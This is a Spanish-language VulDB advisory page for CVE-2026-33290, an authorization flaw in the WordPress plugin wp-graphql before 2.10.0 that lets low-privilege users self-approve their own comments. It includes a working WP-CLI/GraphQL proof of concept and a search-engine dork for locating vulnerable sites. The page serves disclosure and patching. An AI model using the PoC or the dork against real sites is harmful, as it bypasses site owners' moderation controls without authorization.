wp-graphql hasta 2.9.x en WordPress CommentUpdate.php moderate_comments user_id escalada de privilegios
| CVSS Puntuación meta temporal | Precio actual del exploit (≈) | Puntuación de interés CTI |
|---|---|---|
| 4.2 | $0-$5k | 0.00 |
Resumen
Una vulnerabilidad clasificada como problemática fue encontrada en wp-graphql hasta 2.9.x. Se ve afectada una función desconocida del archivo plugins/wp-graphql/src/Mutation/CommentUpdate.php. A través de la manipulación del parámetro user_id de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esta vulnerabilidad se cataloga como CVE-2026-33290. El ataque puede ser iniciado desde la red. No hay ningún exploit disponible. Se aconseja actualizar el componente afectado.
Detalles
Una vulnerabilidad fue encontrada en wp-graphql hasta 2.9.x en WordPress y clasificada como problemática. La función moderate_comments del archivo plugins/wp-graphql/src/Mutation/CommentUpdate.php es afectada por esta vulnerabilidad. Por la manipulación del parámetro user_id de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esto tiene repercusión sobre la la integridad. El resumen de CVE es:
WPGraphQL proporciona una API GraphQL para sitios de WordPress. Antes de la versión 2.10.0, una falla de autorización en updateComment permite a un usuario autenticado con bajos privilegios (incluyendo un rol personalizado con cero capacidades) cambiar el estado de moderación de su propio comentario (por ejemplo, a APROBAR) sin la capacidad moderate_comments. Esto puede eludir los flujos de trabajo de moderación y permitir que usuarios no confiables autoaprueben contenido. La versión 2.10.0 contiene un parche.
### Detalles
En WPGraphQL 2.9.1 (probado), la autorización para updateComment se basa en el propietario, no en el campo:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 permite a los moderadores.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 también permite al propietario del comentario, incluso si carece de la capacidad de moderación.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mapea el estado de entrada de GraphQL directamente a comment_approved de WordPress.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persiste ese valor a través de wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expone los estados de moderación (APROBAR, EN ESPERA, CORREO NO DESEADO, PAPELERA).
Esto significa que un propietario no moderador puede enviar el estado durante la actualización y hacer la transición del estado de moderación.
### PoC
Probado en wp-env local (Docker) con WPGraphQL 2.9.1.
1. Iniciar entorno:
npm install
npm run wp-env start
2. Ejecutar este PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observar resultado:
- role_caps está vacío (o no tiene moderate_comments)
- la mutación devuelve status: APROBAR
- el valor de la base de datos se convierte en comment_approved = 1
### Impacto
Esto es un bypass de autorización / un problema de control de acceso roto en las transiciones de estado de moderación de comentarios. Cualquier despliegue que utilice mutaciones de comentarios de WPGraphQL donde los usuarios con bajos privilegios puedan hacer comentarios está impactado. La política de moderación puede ser eludida autoaprobando contenido.El advisory puede ser descargado de github.com. La vulnerabilidad es identificada como CVE-2026-33290. La explotación se considera fácil. El ataque se puede efectuar a través de la red. Detalles técnicos son conocidos, pero no hay ningún exploit público disponible.
Buscando inurl:plugins/wp-graphql/src/Mutation/CommentUpdate.php es posible encontrar objetos vulnerables.
Una actualización a la versión 2.10.0 elimina esta vulnerabilidad. La actualización se puede descargar de github.com.
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Producto
Escribe
Nombre
Versión
Sitio web
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔒VulDB Confiabilidad: 🔍
CVSSv3
VulDB Puntuación meta base: 4.3VulDB Puntuación meta temporal: 4.2
VulDB Puntuación base: 4.3
VulDB Puntuación temporal: 4.1
VulDB Vector: 🔒
VulDB Confiabilidad: 🔍
CNA Puntuación base: 4.3
CNA Vector (GitHub_M): 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complejidad | Autenticación | Confidencialidad | Integridad | Disponibilidad |
|---|---|---|---|---|---|
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
VulDB Puntuación base: 🔒
VulDB Puntuación temporal: 🔒
VulDB Confiabilidad: 🔍
Explotación
Clase: Escalada de privilegiosCWE: CWE-862 / CWE-863 / CWE-285
CAPEC: 🔒
ATT&CK: 🔒
Físico: No
Local: No
Remoto: Sí
Disponibilidad: 🔒
Estado: No está definido
Google Hack: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Predicción de precios: 🔍
Estimación del precio actual: 🔒
| 0-Day | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
|---|---|---|---|---|
| Hoy | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
Inteligencia de amenazas
Interés: 🔍Actores activos: 🔍
Grupos APT activos: 🔍
Contramedidas
Recomendación: ActualizaciónEstado: 🔍
Hora de 0 días: 🔒
Actualización: wp-graphql 2.10.0
Línea de tiempo
2026-03-18 CVE asignado2026-03-24 Aviso publicado
2026-03-24 Entrada de VulDB creada
2026-03-28 Última actualización de VulDB
Fuentes
Producto: github.comAviso: GHSA-9hc3-mh5h-4fgh
Estado: Confirmado
CVE: CVE-2026-33290 (🔒)
GCVE (CVE): GCVE-0-2026-33290
GCVE (VulDB): GCVE-100-352583
Artículo
Fecha de creación: 2026-03-24 02:27Actualizado: 2026-03-28 09:37
Cambios: 2026-03-24 02:27 (68), 2026-03-28 09:37 (1)
Completo: 🔍
Cache ID: 216:C50:103
Sin comentarios aún. Idiomas: es + pt + en.
Por favor, inicie sesión para comentar.